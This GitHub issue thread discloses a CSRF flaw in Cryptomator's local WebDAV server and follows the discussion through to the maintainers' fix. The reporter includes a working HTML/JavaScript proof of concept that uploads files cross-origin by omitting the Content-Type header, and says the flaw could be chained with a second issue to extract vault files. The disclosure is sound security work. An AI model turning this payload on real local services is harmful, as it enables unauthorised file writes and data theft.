New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Issue: POST endpoint on WebDAV allows upload using CSRF #319

Closed
LukasReschke opened this Issue Aug 9, 2016 · 7 comments

Comments

Projects
None yet
3 participants
@LukasReschke
Copy link

LukasReschke commented Aug 9, 2016

Description:

I noticed that the used WebDAV server listening on localhost:42427 is not enforcing a proper CSRF protection. It seems like all requests containing a Content-Type: text/plain (and similar Content-Types) gets blocked but this is not sufficient.

So the following CSRF attempt would fail:

POST /test/Upload.txt HTTP/1.1
Host: localhost:42427
Connection: close
Content-Type: text/plain
Accept-Encoding: gzip
Content-Length: 11

File Upload
HTTP/1.1 403 Forbidden
Date: Tue, 09 Aug 2016 14:33:24 GMT
Cache-Control: must-revalidate,no-cache,no-store
Content-Type: text/html;charset=iso-8859-1
Content-Length: 331
Connection: close
Server: Jetty(9.3.3.v20150827)

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 403 </title>
</head>
<body>
<h2>HTTP ERROR: 403</h2>
<p>Problem accessing /test/Upload.txt. Reason:
<pre>    Forbidden</pre></p>
<hr /><a href="http://eclipse.org/jetty">Powered by Jetty:// 9.3.3.v20150827</a><hr/>
</body>
</html>

However, it is possible to prevent setting a Content-Type header by using something like the following:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:42427/test/csrf.txt", true);
        xhr.withCredentials = true;
        var body = "This file has been uploaded via CSRF.=\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

This would create the file csrf.txt with the content of This file has been uploaded via CSRF.= on the test mount. This also works cross-origin as can be seen at http://rawgit.com/LukasReschke/500491aba775c11d2591305ee417ed42/raw/72a70ec2477a29b34b6e4895198d31295146ab31/exploit.html.

On it's own this is a pretty boring vulnerability, but combined with #318 this allows a remote attacker to extract any files in the vault they want. They simply have a Cryptomator user access a malicious site and that site can extract the data.

Recommendation:

Disable upload via POST. Employ passwords and usernames on the mounts, while a minor inconvenience. It acts as a huge security increase.


Disclaimer: Normally, I wouldn't report security issues like that in the public. But I was asked by the Cryptomator authors on Twitter to do so.

@overheadhunter overheadhunter reopened this Aug 9, 2016

@cryptomator cryptomator locked and limited conversation to collaborators Aug 9, 2016

@cryptomator cryptomator unlocked this conversation Aug 9, 2016

@overheadhunter

This comment has been minimized.

Copy link
Member

overheadhunter commented Aug 9, 2016

Just to get you right: How is the XHR executed despite SOP?

@LukasReschke

This comment has been minimized.

Copy link

LukasReschke commented Aug 9, 2016

Just to get you right: How is the XHR executed despite SOP?

Because we don't set any special request headers here or so. It's technically a normal XHR request that just is missing the Content-Type header. What is however not possible is to read the response of the request. That's what #318 is needed for in combination.

http://rawgit.com/LukasReschke/500491aba775c11d2591305ee417ed42/raw/72a70ec2477a29b34b6e4895198d31295146ab31/exploit.html showcases this nicely:

2016-08-09_17-42-40
2016-08-09_17-42-43

@overheadhunter

This comment has been minimized.

Copy link
Member

overheadhunter commented Aug 9, 2016

Ok my bad. I had the impression that the SOP prohibits the requests, not the responses. A POST-filter might work, but I think that some kind of authentication is more reliable concerning similar attacks.

@LukasReschke

This comment has been minimized.

Copy link

LukasReschke commented Aug 9, 2016

Ok my bad. I had the impression that the SOP prohibits the requests, not the responses.

It does as well when the request adds some additional headers and so on. :-)

@overheadhunter

This comment has been minimized.

Copy link
Member

overheadhunter commented Aug 9, 2016

of course... 😞

@markuskreusch

This comment has been minimized.

Copy link
Contributor

markuskreusch commented Aug 9, 2016

Will fix this by doing the following:

  • Block all POST requests using a servlet Filter
  • Add a vault specific uuid (generated using a CSPRNG) to the webdav urls as planned for #308 anyway

We will not use username/password on the mounts because mounting using a username/password in the url does maybe not work well on all systems. Mounting a url without username/password works well.

@overheadhunter

This comment has been minimized.

Copy link
Member

overheadhunter commented Aug 9, 2016

Please don't use the default hex encoding of UUIDs. We've had that in the past and users hated to see those long "technical" strings.
A CSPRNG is not necessary here. Better implement a tarpit with increasing delays for invalid URIs.

markuskreusch added a commit that referenced this issue Aug 10, 2016

overheadhunter added a commit that referenced this issue Aug 14, 2016

Merge branch 'release/1.1.4'
Fixes #308, fixes #319, fixes #318, fixes #317, fixes #311, fixes #267

# Conflicts:
#	main/ant-kit/pom.xml
#	main/commons-test/pom.xml
#	main/commons/pom.xml
#	main/filesystem-api/pom.xml
#	main/filesystem-charsets/pom.xml
#	main/filesystem-crypto-integration-tests/pom.xml
#	main/filesystem-crypto/pom.xml
#	main/filesystem-inmemory/pom.xml
#	main/filesystem-invariants-tests/pom.xml
#	main/filesystem-nameshortening/pom.xml
#	main/filesystem-nio/pom.xml
#	main/filesystem-stats/pom.xml
#	main/frontend-api/pom.xml
#	main/frontend-webdav/pom.xml
#	main/jacoco-report/pom.xml
#	main/pom.xml
#	main/uber-jar/pom.xml
#	main/ui/pom.xml
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment